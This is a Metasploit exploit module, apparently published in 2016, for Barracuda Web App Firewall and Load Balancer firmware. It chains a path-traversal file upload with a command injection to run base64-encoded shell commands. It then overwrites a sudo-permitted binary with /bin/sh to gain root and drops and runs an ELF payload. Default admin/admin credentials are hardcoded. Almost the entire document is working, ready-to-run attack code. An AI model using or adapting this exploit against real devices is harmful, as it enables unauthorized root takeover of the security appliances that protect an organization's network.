# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)
# Date: 07/25/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.007 (2016-01-07)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.007 (2016-01-07)
# CVE : None.
# This exploit combines 2 bugs to leverage root access
# Vuln 1: ondefined_view_template trigger - File upload vuln
# Vuln 2: ondefined_remove_corefiles trigger - Command injection vuln (from loaded file data)
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (2)',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Web App Firewall Firmware Version <= 8.0.1.007 and Load Balancer Firmware <= v5.4.0.004
by exploiting a two vulnerabilities in the web administration interface. The first bug leverages a Arbitrary File
Upload vulnerability to create a malicious file containing shell commands before using a second bug meant to clean
up left-over core files on the device to execute them. By sending a specially crafted requests
it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Barracuda Web App Firewall Firmware Version <= 8.0.1.007 (2016-01-07)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
}
],
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )
# file to overwrite
cmd_file = "/home/product/code/config/corefile_list.txt"
# file to replace
sudo_cmd_exec = target['SudoCmdExec']
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "BASIC" ],
[ "realm","" ],
[ "secondary_tab","reports" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],
[ "upload_template_file_filename", "admin" ]
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
# upload file
up_filename = cmd_file
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"upload_template_file\"; filename=\"../#{up_filename}\"\r\n\r\n"
post_data << ";#{injection_string};\r\n"
# end data
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"view_template\"\r\n\r\n"
post_data << "\r\n"
post_data << "--#{boundary}--\r\n" # end boundary
# upload file vuln
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language' => "en-US,en;q=0.5"
}
})
post_data = ""
exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
# triger vuln
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"remove_corefiles\"\r\n\r\n"
post_data << "\r\n"
post_data << "--#{boundary}--\r\n" # end boundary
# upload file vuln
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language' => "en-US,en;q=0.5"
}
})
end
def run_script(username, password, et, cmds)
vprint_status( "running script...\n")
end
def exploit
# timeout
timeout = 1550;
user = "admin"
# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"
password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")
sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
